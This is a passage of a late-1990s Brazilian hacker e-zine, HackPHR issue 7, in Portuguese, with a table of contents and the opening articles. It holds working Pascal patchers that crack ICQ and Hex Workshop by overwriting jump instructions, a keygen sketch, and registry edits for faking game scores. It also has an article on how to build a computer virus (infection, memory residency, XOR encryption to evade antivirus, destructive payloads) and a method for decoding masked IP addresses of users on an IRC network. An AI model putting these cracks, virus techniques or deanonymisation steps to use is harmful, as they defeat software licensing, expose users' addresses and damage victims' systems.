         .....     ......:         :...       .................... _  __ ___.
.________:  _:_____:_______.._______. :_____.:.______.___  __ __ :_____.    |
 \      | |  \           ||        \|    |:|     /  _ ||  -  ||  __ |....|
...\     |_|   \     |     ||         \     |/     /|   _||     ||     |   :
: .:|          ||    !     ||    ____///          /:|___|_|__!__||___|_ \  :|
:...|     _    |_.         ||       ||           \\    | [ #HackPHR ] |/  :
    |    | |      \\  |    ||        ||     |\\    |____.[ HackPHR Group ] :
   _|____| |______/___|    ||________||_____|_|________/ [Zine Numero 07]..:
    | :   [t11]   :  /______\  :...  :...     |  :  [  hackphr.8m.com  ] :  |
 x----:...........:---------------:.....:--------:.......................: -x


                         ---  --- --- --- --- --- --- --- ---
			/// A Production from H.P.G Studios \\\
                         ---  --- --- --- --- --- --- --- ---


                                                 "Nao sou astro, sou padre."
                                                          Pe. Marcelo Rossi
				
                       			".. I am not one of those who think
                                        Bill Gates is the devil. I just
                                        suspect that if Microsoft ever met
                                        with the devil, it wouldn't need
					an interpreter."
							Nick Petreley		
					
                                         "O problema nao e' pisar numa mina.
                                            O problema e' tirar o pe' dela."
                                                                   Anonymous

                           "entre outras .mil es tu Brasil oh Patria amada.."
                                                                  BLAcK MaSK

"Esvaziamento da pilha:
 68666473 64736a6a 666c6b6a 64736c6b 68666473 64736a6a 666c6b6a 64736c6b
- Putz o windows eh tao burro q naum sabe nem q computador nao usa pilha ;D"
                                                             tOneOne


 .______.___  ___._____._______.___   ____
\\      /   \|   |      \   __  \   \/   /
  |   /          |  --   |    __|       \.
./____\___/|____/\_______/______\___/\___//[t11]
           
( 01 ) Only Wordz.........................................[ By The Staff   ]
( 02 ) Cracking...........................................[ By B0mB4sT1c   ]
( 03 ) Cracking Rwindow$ Gamez............................[ By B0mB4sT1c   ]
( 04 ) Estrutura de um Virus..............................[ By Apocalypsis ]
( 05 ) RedeBR Spoof Code..................................[ By sOurce/inth ]
( 06 ) Shell Programing...................................[ By inth        ]
( 07 ) Source code do BO!!!...............................[ By BLAcK MaSK  ]
( 08 ) Sources
   8.1  fkernel...........................................[ By sOurce      ]
   8.2  Looper............................................[ By tOneOne     ]
   8.3  GrabServer........................................[ By tOneOne     ]
   8.4  IMC...............................................[ By sOurce      ]
   8.5  Servidor Tecepe Exploit...........................[ By tOneOne     ]
   8.6  IRC Spoof.........................................[ By tOneOne     ]
   8.7  mIRC 5.4 Killer (Again)...........................[ By tOneOne     ]
( 09 ) Conspiracao........................................[ By Pensador    ]
( 10 ) Anarquia...........................................[ By Pensador    ]
( 11 ) Anarchy Tips.......................................[ By tOneOne     ]
( 12 ) HuH!...............................................[ By The Staff   ]
( 13 ) ADMesc.............................................[ By BLAcK MaSK  ]
( 14 ) TCP/IP - A Orgia...................................[ By BLAcK MaSK  ]
( 15 ) Dicas 4 Linux......................................[ By BLAcK MaSK  ]
( 16 ) Comandos Remotos...................................[ By Laukiller   ]
( 17 ) Redirecionamento de conexao........................[ By {Ricardo}   ]
( 18 ) Inetd Denials......................................[ By inth        ]
( 19 ) Versoes do Win 95..................................[ By SyCoFlUiD   ]
( 20 ) Modem & cia........................................[ By sOurce      ]
( 21 ) Transmissao serial e paralela......................[ By isalphanum  ]
( 22 ) Mails..............................................[ By Leitores    ]
   22.1  Bonus - Killcmos (encoded).......................[ By anonymous   ]
( 23 ) Entrando em contato................................[ By The Staff   ]


 Ŀ
( 01 ) ONLY WORDZ      . 
 Ĵ  
   Ĵ  By the Staff   `
     

Bem, comecamos o zine com esse eventual texto, q sabemos q quase ninguem vai
ler, mas nao nos importamos de escrever pra 3 pessoas.
Pra comecar, lembramos q o zine tah fazendo 1 ano!!! E ao contrario do que 
muitos pensam e dizem, nos nao vamos acabar com o grupo NUNCA...

Nos sempre atrasamos o zine, e nunca vamos prometer uma data, porque todos
os membros tem outros afazeres MUITO mais importantes que esse... Estou
dizendo isso pq depois de 1 ano de estrada, a gente comeca a pensar do q
adiantou escrever o zine, com q objetivo... Bem, o objetivo sempre foi
informar e evitar falar de truques idiotas, apenas informar. Depois da
formacao do grupo, criamos um formulario, para novos membros preencherem,
e assim foi se formando a base do HackPHR de hoje, ja tivemos varios membros
alguns sairam, outros continuaram, uns ficaram "Aways"... mas o grupo SEMPRE
esteve ativo, e nesse 1 ano, mantemos a media de um zine a cada 2 meses, uma
marca que se difere de varios zines que lancam duas ou tres edicoes e depois
somem.

Eh... um ano se passou, e a "galera" evoluiu muito, fizemos varios amigos
nesse periodo, kras que se nao fossem eles, talvez o zine ja tivesse acabado.
O #HackPHR (Brasnet) curiosamente continua como era antes, sempre nos fins de
semana a galera marca presenca, fazendo com que a uniao do Grupo e de seus
colaboradores seja sempre mais um impulso pra levar o zine pra frente.

Sem falar q muita coisa aconteceu entre a publicacao dos zines 6 e 7. Como
por exemplo, o t11 leu em um certo zine, q nao temos nada contra, bem por
isso nao vamos citar o nome, um certo lamer mandou um mail xingando
descaradamente o grupo, dizendo q nos somos uns "se achoes". Bom, ele deve
ter alguma perturbacao e resolveu descontar isso na gente, mas eh um kra q
eu nem ninguem do grupo conhece, q nunca tentou alguma vez se comunicar com
a gente, de qquer forma, q chega e manda mail pro outro zine, pedindo pra
crackear nossa page e sei lah mais o q. Ele ainda dizia q o hackphr foi o
primeiro zine q ele leu. Francamente, saber q temos leitores desse tipo eh
foda. Mas o que alegra-nos e eh outra fonte de motivacao sao aqueles kras que
chegam no canal e dizem porra kra tua materia ta phoda! ou ate aquele que
chegam la e diz que poderiam haver tais melhoras, escrever sobre tais
assuntos.

Grandes amigos se foram e outros grandes apareceram, 1 ano de HackPHR!, quem
diria a um ano atras, que a galera que se juntou pra fazer apenas mais um zine,
conseguiu ficar um ano junta e continuar em um mesmo proposito, com a mesma
motivacao e seguindo em frente. Valew... valew mesmo!!!

                                             [ Hack'n Phreak Group/Zine ]
    
 ( Membros  )Ŀ
 ( BLAcK MaSK       ) 
  B0mB4sT1c        
 ( Live		    )
  Phroide          
 ( sOurce           )
  SyCoFlUiD        
 ( The Crow         )
  tOneOne          
 ( xt0rm            ) OBS:
                    Nao nos pergunte sobre antigos membros! 
 (Colaboradores)Ŀ 
 ( Apocalypsis      )
  inth             
 ( isalphanum       )
  Laukiller        
 ( Pensador         )
  {Ricardo}        
 

 ( Estatisticas )Ŀ
 ( Zines        :07 ) Estatisticas desde o lancamento do zine 06 +- 2 meses.
  Membros      :09 
 ( Colaboradores:06 )
                   
 ( HomePage PPL*:200) * Ate o contador sumir da page hehehe ;)
  #HackPHR Max :15 
 ( Owned domains:18 )
 

OBS: Novo domain - www.hackphr.8m.com
     Novo e-mail - hackphrgroup@zipmail.com.br

 Ŀ 
( 02 ) Cracking        . 
 Ĵ  
   Ĵ  By B0mB4sT1c   `
     

   Antes de comecarmos, como vimos no ultimo zine o tOneOne escreveu algumas
  'dicas' de como comecar a crackear. Eu irei implementar essas dicas, para
  que na proxima edicao se Deus quizer(e eu tiver tempo), darei um exemplo
  propriamente dito de cracking.
  Eu darei as urls de onde conseguir o SoftICE que eh um debuger INDISPENSA-
  VEL!!! Tambem darei urls de onde pegar outros programas do genero, como
  por exemplo o WS32ASM e alguns outros como o SmarthCheck que ajuda bastante
  quando voce quer crackear algum programa VB, pois ele mostra passo a passo
  os caminhos do executavel e das dlls.Nessas urls voce tambem encontrara
  tutoriais de crack, so que em ingles, se voce naum manja de ingles espere
  ate o proximo zine :)
 Ŀ
  1. Urls de programas e pages de crack                                  
  2. Exemplos de codes de cracks simples, como NAG Screen, Evaluation, e 
     outros                                                              
  3. Exemplo de Keygen                                                   
  4. Trips and Hints                                                     
  5. Tabela HEX, ASCII...                                                
 
  Ok, enough Bullcrap, lets get ready for the action!

    

  1. Urls de programas e pages de crack

     Eu darei apenas 3 urls, sao as melhores que eu acho, pois tem bastante
     tutoriais, tools e links. Na proxima edicao links bons de Shareware,
     mais links de crack e coisinhas do genero ;)

  http://www.wco.com/~micuan/ -> uma das melhores, tools, tutoriais...

  http://surf.to/harvestr -> boa tambem MUIIIIIITAS tools!

  http://www.proweb.co.uk/~greenway/index.html -> boa d+ na parte de 
  tudoriais

      

  2. Exemplos de codes de cracks simples, como NAG Screen, Evaluation, e
  outros

   Em primeiro lugar voce vai ter que ter conhecimento de ASM! Isso eh muito
   importante, pois sem ASM, cracker, naum eh cracker...
   Depois voce pode fica com o asm mesmo, ou aprender pascal, C/C++ ou outra
   qualquer. Em algum dos links que passei, naum me lembro qual, tem varios
   tutoriais de ASM muito bons, mas estao em ingles...
   Se voce naum sabe ingles, me desculpe, mas vale a pena aprender so para
   ler os tutorias :p

   
  Esse exemplo eh para a versao 98 do ICQ, com a dll 1.07, com ele voce tira
  A parte que significa JLE(Jump if Less or Equal), isso quer dizer, que
  se o numero de pessoas for menor ou igual a metade, nada acontece, substi-
  tuindo por NOP, voce anula essa checagem, logo a pessoa eh automaticamente
  kickada do canal

   ------------------------------Cut HERE-----------------------------------

Program Patcher;

Uses Crt;

Const offset   : Longint             = $8AD52; { $ means a hex value }
      bytes    : Byte                = 2;
      len      : Longint             = 1270272; { file length }
      orgbytes : Array[1..2] Of Byte = ($7E, $30);
      newbytes : Array[1..2] Of Byte = ($90, $90);
      {---------------------------------------------------------}
      filename : String[10]          = 'ICQ.EXE';
      errnof   : String[43]          = 'ERRO: Arquivo ICQ.EXE nao encontrado!';
      errver   : String[36]          = 'ERRO: Tamanho do arquivo incorreto!';
      errpch   : String[36]          = 'ERRO: O arquivo nao pode ser escrito!';
      msgdon   : String[21]          = 'Crack 100% completo!';
      ask      : String[26]          = 'Continuar mesmo assim? (S/N)';

Procedure message(message : String);
Begin

  WriteLn;
  WriteLn(message);
  Halt;

End;

Procedure patchfile;
Var fil  : File Of Byte;
    teck : Byte;
    n    : Byte;
    ch   : Char;
Begin

  Assign(fil, filename);

  {$I-}
  Reset(fil);
  {$I+}

  If (Not(IOResult=0)) Then message(errnof);
  If (Not(FileSize(fil)=len)) Then
  Begin

    WriteLn;
    WriteLn(errver);
    WriteLn(ask);
    Repeat Until Keypressed;

    ch:=ReadKey;

    If Upcase(ch)='N' Then Halt;

  End;

  Seek(fil, offset);

  For n:=1 To bytes Do
  Begin

    Read(fil, teck);
    If (Not(teck=orgbytes[n])) Then message(errpch);

  End;

  Seek(fil, offset);
  For n:=1 To bytes Do Write(fil, newbytes[n]);
  Close(fil);

  WriteLn;
  WriteLn(msgdon);

  Halt;

End;

end.

   ------------------------------Cut HERE-----------------------------------

  Este outro eh um patcher que fara com que seja aceita qualquer name/serial
  no Hex Workshop 32bits v2.20.b005. Voce troca de JE(Jump if Equal) que quer
  dizer que so passara se for igual o name/serial que voce escreveu com o
  correto para JMP(Jump) que 'pulara' de qualquer forma, estando errado ou
  naum.

   ------------------------------Cut HERE-----------------------------------

Program Patcher;

Uses Crt;

Const offset   : Longint             = $1B0CE; { $ means a hex value }
      bytes    : Byte                = 2;
      len      : Longint             = 598016; { file length }
      orgbytes : Array[1..2] Of Byte = ($0F, $84);
      newbytes : Array[1..2] Of Byte = ($0F, $EB);
      {---------------------------------------------------------}
      filename : String[10]          = 'HWORKS32.EXE';
      errnof   : String[43]          = 'ERRO: Arquivo HWORKS32.EXE nao encontrado!';
      errver   : String[36]          = 'ERRO: Tamanho do arquivo incorreto!';
      errpch   : String[36]          = 'ERRO: O arquivo nao pode ser escrito!';
      msgdon   : String[21]          = 'Crack 100% completo!';
      ask      : String[26]          = 'Continuar mesmo assim? (S/N)';

Procedure message(message : String);
Begin

  WriteLn;
  WriteLn(message);
  Halt;

End;

Procedure patchfile;
Var fil  : File Of Byte;
    teck : Byte;
    n    : Byte;
    ch   : Char;
Begin

  Assign(fil, filename);

  {$I-}
  Reset(fil);
  {$I+}

  If (Not(IOResult=0)) Then message(errnof);
  If (Not(FileSize(fil)=len)) Then
  Begin

    WriteLn;
    WriteLn(errver);
    WriteLn(ask);
    Repeat Until Keypressed;

    ch:=ReadKey;

    If Upcase(ch)='N' Then Halt;

  End;

  Seek(fil, offset);

  For n:=1 To bytes Do
  Begin

    Read(fil, teck);
    If (Not(teck=orgbytes[n])) Then message(errpch);

  End;

  Seek(fil, offset);
  For n:=1 To bytes Do Write(fil, newbytes[n]);
  Close(fil);

  WriteLn;
  WriteLn(msgdon);

  Halt;

End;

Begin


writeln('  ___   ___       _     ___   _  ____    __   ________    ');
writeln('  \  | |  /______| | ___\  | | |\_    \ \  | |  _____  \  ');
writeln('  |  |_|  ||__     |/   |  |/ /   | -- | | |_| | |  -   | ');
writeln('  /   _    \   |   |  --|     \  _|   / _|  _  |_|  |\  / ');
writeln(' | __| |___||___|\_|\______|\__\ \___| |___| |__/|__| |__\');
writeln(' |/     G        R        O        U        P       ');
writeln('        Hex Workshop 32bits v2.20.b005 - Crack ');
writeln('               Cracked by: B0mB4sT1c     ');


patchfile;

End.

    ------------------------------Cut HERE----------------------------------

  3. Exemplo de Keygen

  Este exemplo de keygen foi escrito para somente um exemplo, ele naum tem
  nenhum programa espefico.
  KeyGens sao feitos apartir do codigo do calculo do serial (que voce pega
  usando o SoftICE). Keygens sao bastante complicados de voce conseguir fazer

    ------------------------------Cut HERE----------------------------------

program key;

var
 nome:string;          
 segundo:integer;
 total:integer;

begin
 writeln('Exemplo de KEYGEN'); 
 writeln('by B0mB4sT1c');
 writeln(' ');
 write('Coloque seu nome:');
 readln(nome);   

 total:=0;                    
 segundo:=0;

 total := segundo XOR $123456;       {XOR total por 123456 hex}
 segundo:= total;
 total := segundo XOR $654321;       {XOR o resultado por 654321 hex}


 writeln('Sua key eh:', total);                  

end.

    ------------------------------Cut HERE----------------------------------

    

  4. Trips and Hints

   A Micro$oft nunca usa TXT propriamente dito nas nags, ela usa imagens,
   entao naum adianta procurar por txt na hora que for crackear Micro$ux
   progs

   Um exemplo para as pessoas que naum querem que o SoftICE seja carregado
   toda vez que voce abri o ruindows use esse exemplo de configuracao:


   Exemplo de AUTOEXEC.BAT

@ECHO OFF
SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\PACKER\ALL;C:\SC;D:\CRACKING\HIEW584;D:\CRACKING\HIEW560
SET TEMP=C:\TEMP

goto %config%

:SICE
C:\PROGRA~1\SOFTICE\WINICE.EXE
goto common

:NORM
goto common

:DOS
C:\CD-ROM\MSCDEX.EXE /D:SSCD000 /M:10
C:\MOUSE\MOUSE.EXE
mode con codepage prepare=((850) C:\WINDOWS\COMMAND\ega.cpi)
mode con codepage select=850
keyb gr,,C:\WINDOWS\COMMAND\keyboard.sys

:common


 
   Exemplo de CONFIG.SYS

[MENU]
MENUITEM NORM,Ruindows 95
MENUITEM SICE,Soft-Ice
MENUITEM DOS,M$-DOS
MENUDEFAULT NORM,2


[NORM]

[SICE]

[common]
LASTDRIVE=Z
FILES=60
device=C:\WINDOWS\COMMAND\display.sys con=(ega,,1)

[DOS]
FILES=60
Country=049,850,C:\WINDOWS\COMMAND\country.sys
DEVICE=C:\CD-ROM\SSCDROM.SYS /D:SSCD000

   Copie mais ou menos o exemplo, modificando as suas nececidades,
   qualquer duvida MAIL ME!
   
   Aki estao as funcoes basicas de ASM usadas na arte milenar dos CRACKERS>;p


Hex:          Asm:      Means
75 or 0F85    jne       jump if not equal
74 or 0F84    je        jump if equal
EB            jmp       jump directly to
90            nop       no operation
77 or 0F87    ja        jump if above
0F86          jna       jump if not above
0F83          jae       jump if above or equal
0F82          jnae      jump if not above or equal
0F82          jb        jump if below
0F83          jnb       jump if not below
0F86          jbe       jump if below or equal
0F87          jnbe      jump if not below or equal
0F8F          jg        jump if greater
0F8E          jng       jump if not greater
0F8D          jge       jump if greater or equal
0F8C          jnge      jump if not greater or equal
0F8C          jl        jump if less
0F8D          jnl       jump if not less
0F8E          jle       jump if less or equal
0F8F          jnle      jump if not less or equal

   OBS: Isso foi retirado do tutorial de cracking do tKC numero 1, so pra 
   voces naum escreverem: 'ELES SO COPIAM, QUE ZINE COPIAO!'

    

   5. Tabela HEX, ASCII...

   Execute o arquivo que esta em: /sources/Ascii Table.exe
   Ela eh a tabela mais completa que eu ja achei, ela tem:
   Char, Dec, Hex, Oct, Alt+4(code), Nome e Ctrl.
   para roda-la voce precisara dessas dlls:

   http://users.southeast.net/~rhwarner/software/mfc42.zip
   http://users.southeast.net/~rhwarner/software/rt.zip

                                                                 B0mB4sT1c
						   
   
 Ŀ 
( 03 ) Cracking Rwindow$ Gamez 
 
   Ĵ  By B0mB4sT1c   `
     

Tudo comecou num domingo a noite, quando estavamos eu e o tOneOne conversando
no irc quando eu falei algo retardado:
Tipow, descobri uma coisa paia pacas: um cheat pro campo minado do win 3.11
vc tecla X Y Z Z Y, e assim papo vai, papo vem e ele disse:
Tipow, da pra muda os tempo, procura o Winmine.ini e edita.
Ao abrir voce vera que vai estar mais ou menos assim:

[Campo Minado]
Difficulty=1
Height=16
Width=16
Mines=40
Mark=1
Color=1
Xpos=296
Ypos=62
Time1=999
Time2=999
Time3=999
Name1=Annimo
Name2=Annimo
Name3=Annimo

   Eu naum vou nem esplicar detalhadamente, se voce naum conseguir, pega uma
   faca de cozinha coloca nos pulsos e corta, e espere a sua morte lenta...

[Campo Minado]
Difficulty=1
Height=16
Width=16
Mines=40
Mark=1
Color=1
Xpos=296
Ypos=62
Time1=1  -> Mostra o tempo do Name1
Time2=1  -> Mostra o tempo do Name2
Time3=1  -> Mostra o tempo do Name3
Name1=B0mB4sT1c  -> Nome do Time1
Name2=B0mB4sT1c  -> Nome do Time2
Name3=B0mB4sT1c  -> Nome do Time3

   Pronto, isso naum vale pra porra nenhuma, mais jah eh um comeco pra quem
   naum tem competencia mental (hehehehehehehe ;p)
   Com isso eu pensei:
   Acho que vou olhar os outros jogos que eu tenho aqui, naum tem nada pra
   faze mesmo. 

   E aqui estou para lhes mostrar algo surpreendente! Algo magico!!!
   Naum se assustem!!! Eu lhes apresento os:

   MODOS DE TRAPACEAR EM JOGOS DE RUINDOW$! (HUAHUAHUAHAUHAUHAUHAUHAUAHAUHUA)

   Bom... Voces devem estar pensando: Que cara retardado!! Trapacear em jogos
   de ruindow$??? Ele deve ter problemas!! vou parar ate de ler!
   Naum! Naum faca isso!!! Com esses modos de trapacear voce ira por em prati-
   ca suas habilidades cracking!
   Os scores, ou coisas do geneo estaram no registro, voce os modifica usando
   o REGEDIT.EXE

   1. Modificando o numero de vitorias e derrotas no FreeCell
   2. Modificando os Scores no jogo 3D Pinball Space Cadet
   3. Last Words

   1. Modificando o numero de vitorias e derrotas no FreeCell

   Primeiramente, abra o regedit e procure a palavra freecell, voce devera
   acha-la em:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\FreeCell

   Voce ira encontrar algo assim:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\FreeCell]
"stype"=hex:00,00,00,00
"won"=hex:00,00,00,00
"streak"=hex:00,00,00,00
"lost"=hex:00,00,00,00
"wins"=hex:00,00,00,00
"losses"=hex:00,00,00,00

  Eu irei esplicar o que cada coisa faz:

  Stype -> Tem algo a ver com o numero de vitorias
  Won -> Numero de vitorias que aparece em Placar
  Streak -> Tem a ver com o numero de derrotas
  Lost -> Numero de derrotas que aparece em Total
  Wins -> Numero de vitorias que aparece em Placar
  Losses -> Numero de derrotas que apare em Placar

  Logo, voce deve olhar na tabela ASCII, na parte de decimal, oq significa
  qual HEX colocado em cada coisa, por exemplo:
  Se voce quer zerar o numero de derrotas, apague os binarios: Streak, Lost,
  Losses e voce tera 0 derrotas, caso voce quer ter 65535 vitorias em tudo,
  voce coloca FF FF FF FF em, Stype, Won, Wins...
  E assim por diante.

  2. Modificando os Scores no jogo 3D Pinball Space Cadet 

  Lets rock'n'roll!

  Esse modo aqui eh mais legalzinho... Eu tive que pensar um pouco para desco-
  brir... Pensando bem um pouco??? QUASE NADA! :P
  Ao abrir o Regedit, eu olhei o meu placar, e vi embaixo uma coisa chamada
  Verification, ai eu pensei, vou mudar so placar, qualquer coisa c naum der
  eu olho mais detalhadamente.
  Mudando o score eu vi, tinha zerado tudo, bah!
  Apos mais um tempinho jogando conseguindo o score surpreendente de 350.100
  heheheheh :)
  Ao abrir o Regedit eu vi algo estrainho, o meu 0.Score parecia com o meu
  verificantion...
  Resolvi abrir a minha calculadora e diminuir o 0.Score da Verification e
  BANG! Voce descobre um resultado, que se voce quer mudar o novo score, voce
  pega o novo score e soma com o resultado pego da subtracao entre o score
  antigo e a verification antiga.
  Putz! QUE BAGUNCA!!!!
  Bem, naum eh assim... Preste bem atencao as esplicacoes.
  Vamos colocar a mao na massa:

  Abra o Regedit e procure por pinball, a 1a coisa que achar naum sera de uti-
  lidade nenhuma, voce devera encontrar o certo em:

  [HKEY_CURRENT_USER\Software\Microsoft\Plus!\Pinball\SpaceCadet]

  E estara mais ou menos assim:


REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Plus!\Pinball\SpaceCadet]
"Table Version"=dword:00000001
"Table Exe"="C:\\ARQUIVOS DE PROGRAMAS\\PLUS!\\PINBALL\\PINBALL.EXE"
"Table Name"="Space Cadet"
"0.Name"="B0mB4sT1c - HackPHR Group"
"0.Score"="350100"
"1.Name"=""
"1.Score"="-999"
"2.Name"=""
"2.Score"="-999"
"3.Name"=""
"3.Score"="-999"
"4.Name"=""
"4.Score"="-999"
"Verification"="348067"

  Ao diminuir o 0.Score da Verification eu descobri o numero: 2033 (esse nume-
  ro varia de nome para nome).
  Vamos modificar o nosso score para: 999.999.999 (eh o maxio possivel ;p)
  Apos modificarmos, voce devera diminuir do score o numero descoberto 
  anteriormente, que no meu caso eh 2033. Eu descobri que a minha verification
  devera ser 999997966, vamos testar:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Plus!\Pinball\SpaceCadet]
"Table Version"=dword:00000001
"Table Exe"="C:\\ARQUIVOS DE PROGRAMAS\\PLUS!\\PINBALL\\PINBALL.EXE"
"Table Name"="Space Cadet"
"0.Name"="B0mB4sT1c - HackPHR Group"
"0.Score"="999999999"
"1.Name"=""
"1.Score"="-999"
"2.Name"=""
"2.Score"="-999"
"3.Name"=""
"3.Score"="-999"
"4.Name"=""
"4.Score"="-999"
"Verification"="999997966"

  GOTTCHA! Deu certo! Mais tem um problema, o numero descoberto da subtracao
  naum sera o mesmo se colocarmos o nosso score em 1.Score, logo sera mais
  trabalhoso voce colocar mais scores modificados, mais basicamente o processo
  sera o mesmo, mais naum se preoculpe se o numero der negativo como por exem-
  plo -1234, como aprendemos na matematica na escola(sux) - com - = +, logo em
  vez de subtrairmos 1234, somaremos 1234 ao resultado e dara uma verification
  maior que o score.
  Ai esta o source escrito em C pelo LiVE

   ------------------------------Cut HERE-----------------------------------

   o source esta em souces/pincrack.c

   ------------------------------Cut HERE-----------------------------------

  3. Last Words

  Se voce quer que eu continue a escrever materias ensinando a trapacear em
  joguinhos de ruindow$ simples como esses, me mandem e-mails falando oq
  voces acharam dessa materia... ( bombastic@linuxbr.com.br )
  Tambem, se voces quiserem mais, me mandem e-mais com links para paginas
  com jogos desse estilo.

 Cya!!

                                                                  B0mB4sT1c


 Ŀ 
( 04 )Estrutura de um Virus 
 
   Ĵ  By Apocalypsis `
     

        y0z... eu sou o Apocalypsis e esta eh a minha 1a. contribuicao pro
Zine, vim aki pra falar sobre os Virus de computador, que na verdade sao para
mim verdadeiras obras de arte! Vou mostrar qual eh a logica a ser usada para
fazer um virus, vc deve conhecer assembly pra fazer isso... espero q seja
util. :)
        Gostaria de agradecer ao tOneOne e ao pessoal da Hack 'n' Phreak
pela oportunidade. Valew kras!!! :)


[==--- 1. Comecando a fazer Virus ---==]

        Bom... Para comecar a fazer um virus de computador, pense num virus
biologico, principalmente nos mais mortais, como a AIDS, o virus precisa de
uma celula hospedeira para poder se acomodar e multiplicar-se e soh depois
de ter tomado uma boa parte do corpo eh q ela se manifesta e eh mortal, nao
eskecendo o detalhe d q ele pode se transmitir para outra pessoa! Agora
aplicando isso a um virus de computador... O virus eh colocado no arkivo
hospedeiro, e, toda vez q o arkivo eh acessado ele de alguma forma se
multiplica, ele pode fazer isso de 2 formas:
        Runtime Virus: Ao ser acessado o arkivo, o virus buscara outros
arkivos para infectar, tornando a operacao um pouco mais lenta, e se o
usuario infectado tiver um minimo de cerebro notara q existe algo estranho.
        Resident Memory Virus: O meu preferido, ao ser acessado o arkivo
contaminado, ele ficara residente na memoria, podendo controlar as
interrupcoes e acesso aos drives(HD, Disketes, etc), podendo infectar os
arkivos nos disketes espalhando o virus para outros computadores! Resumindo
vc tera um controle maior sobre a makina, podendo controlar as acoes do
usuario.
        E depois de um determinado tempo, ou de quantidade de arkivos
infectados, ou em uma data especifica a parte destrutiva do virus entra
em acao! Essa eh a parte mais facil e mais divertida, dependendo da
criatividade do Virus Writer!
        Entao eis aki as partes q um codigo virotico contem:
        1. Multiplicacao
        2. Camuflagem
        3. Destruicao
        A Multiplicacao pode ser pelo metodo Runtime ou Memory Resident, a
Camuflagem pode ser feita pelo metodo de encriptacao de dados, q eh o mais
eficaz, pois o virus esconde a si mesmo do Anti-virus, os Virus Worms usam
largamente esse metodo. A Destruicao pode ser qualquer coisa que prejudique
o usuario idiota! Desde deletar arkivos, embaralhar informacoes, destruir a
FAT do disco rigido, como jah falei, depende da imaginacao do Virus Writer.
        Agora vou mostrar como o virus se multiplica em relacao a um arkivo
nao infectado. Vou mostrar uma figura aki para facilitar a compreensao:

       _______________
      |               |
      | P1 |    P2    | <--- Dividindo o programa a ser infectado em duas
      |_______________|      partes

       ____________
      |            |
      | V1 |  V2   | <--- A mesma coisa com o Virus. Note que P1 e V1 devem
      |____________|      ter o mesmo tamanho

       ____________________
      |                    |
      | P1 |    P2    | P1 | <--- Copiando P1 para o fim do arkivo
      |____________________|            

       ____________________
      |                    |
      | V1 |    P2    | P1 | <--- Agora o Virus copia a parte V1 no lugar
      |____________________|      do 1o. P1

       ____________________________
      |                            |
      | V1 |    P2    | P1 |  V2   | <--- E finalmente o Virus copia a parte 
      |____________________________|      V2 para o fim do arkivo

        Entaum explicando o q cada parte desse arkivo faz... bom... P1 e P2
naum nos interessam, pq serah um programa qualquer, V1 passara o controle do
programa para V2 que por sua vez possui o resto do codigo e nas suas ultimas
instrucoes copia P1 no lugar de V1 (na memoria e nao no disco!) e retorna o
controle para o comeco do arkivo e o programa rodara como se nada tivesse
acontecido... :)
        Esse metodo naum destruira a execucao do programa e mantera o arkivo
infectado! Existe um outro metodo q destroi o arkivo infectado,
impossibilitando seu uso:

       ______________
      |              |
      |   Programa   | <--- Programa a ser infectado
      |______________|             

          +
       _______
      |       |
      | Virus | <--- Virus
      |_______|

          =
       ______________
      |              |
      | Virus |ama   | <--- Virus + Programa destruido
      |______________|

        Esse metodo eh + facil, porem torna muito mais facil a deteccao do
virus. Mas pode causar bastante estragos no sistema infectado.
        Agora chegou a hora de camuflarmos nosso virus, muito facil, vou
explicar a mais facil, q eh a encriptacao/decriptacao em XOR, que consiste
numa rotina q busca rotulos em outras partes do programa e as esconde, isto
eh, encripta, a unica observacao eh q vc deve tomar cuidado em NAO encriptar
a rotina de encriptacao/decriptacao... :)

                                                                Apocalypsis


 Ŀ 
( 05 )RedeBR Spoof Code. 
 Ĵ  
   Ĵ  By sOurce/inth `
     
=== intro - metando paulada
---------------------------
      Well, o que poderia falar.. Um frustado ex-usuario desta rede, podemos
dizer, hm, "muito fresca"! Umas parada de "lag flood"(!), muitos clones,
chanserv e nickserv todo chei de frescura... Ok :D, vamos a materia..
      Ok, a encriptacao de ip`s de lah, se baseia em 8 caracteres(fora o
redebr-), entao, podemos dizer eh uma string de 32-bits. Vou colocar o
exemplo aqui tirado do faq(vejo em thx to) de desencriptacao da Redebr.
PS: a encriptacao dos IPs nos servidores hotlink e persocom sao diferentes!

=== thx to - graceful death
---------------------------
      I`d to thanks:
-> inth: escreveu o Ipdes(!!) pro linux, uma variacao melhorada do
RIC(Redebr Ip Cracker). Pra ver comentarios e tal, veja o README to
arquivo(anexo ao zine).
-> TORAO: foi o kra q escreveu o primeiro FAQ de ip cracking pra redebr, foi
ele tb q fez o primeiro cracker(q conlcusao!! :D).

=== working out - door to heaven
---------------------------------
      Saca, esse eh o valor dos caracteres:
X=1
8=2
T=3
7=4
P=5
6=6
L=7
5=8
H=9
a=10
e=11
i=12
m=13
q=14
u=15 
* os outros caracteres nao listados tem valor igual a 0.
      Nao! Nao terimei, falta explicar as parada :D...
      Sabemos que o IP eh um numero de 32bits com 8 strings(4 campos de 2) 
de 8 bits.
      Vamos usar o seguinte exemplo de string encriptada:
Ex: Hmuii755
      O primeiro campo de 8bits sao o oitavo e o quarto caracteres da string,
no caso: 5 e i. Temos a formula: a+(b*16)
-> onde a = o oitavo caractere(5) e b = o quarto caractere(i).
      O segundo campo eh a mesma coisa, sendo q "a" corresponde ao primeiro
caractere da string, e "b" corresponde ao terceiro, entao, 9+(15*16)=249.
      O segundo campo eh a mesma coisa, sendo q "a" corresponde ao primeiro
caractere da string, e "b" corresponde ao terceiro, entao, 9+(15*16)=249.
      A mesma coisa agora, sendo q "a" = ao quinto e "b" = ao segundo:
12+(13*16)=220.
      The same old shit, mas agora, "a" = ao sexto caractere e "b" = setimo:
4+(8*16)=132.
      Entao, Hmuii755 eh igual a 200.249.220.132! bingo!

=== cool! - find out
--------------------
      Bem, o programa se encontra anexado ao zine como nome de ipdes.tgz,
cya e byes...

                                                              sOurce & inth


 Ŀ 
( 06 ) Shell Programing        
 
   Ĵ  By inth        `
     

 hail do0dz!
 vou falar de shell scripts, desde o inicio pra todo mundo entender..

  Primeiro, oq sao shell scripts? 
um shell script eh, na verdade, um mero conjunto de comandos inseridos num
arquivo.. Isso basicamente, dai pra se fazer bons shell scripts precisa-se
do conhecimento amplo dos comandos gerais do Unix.
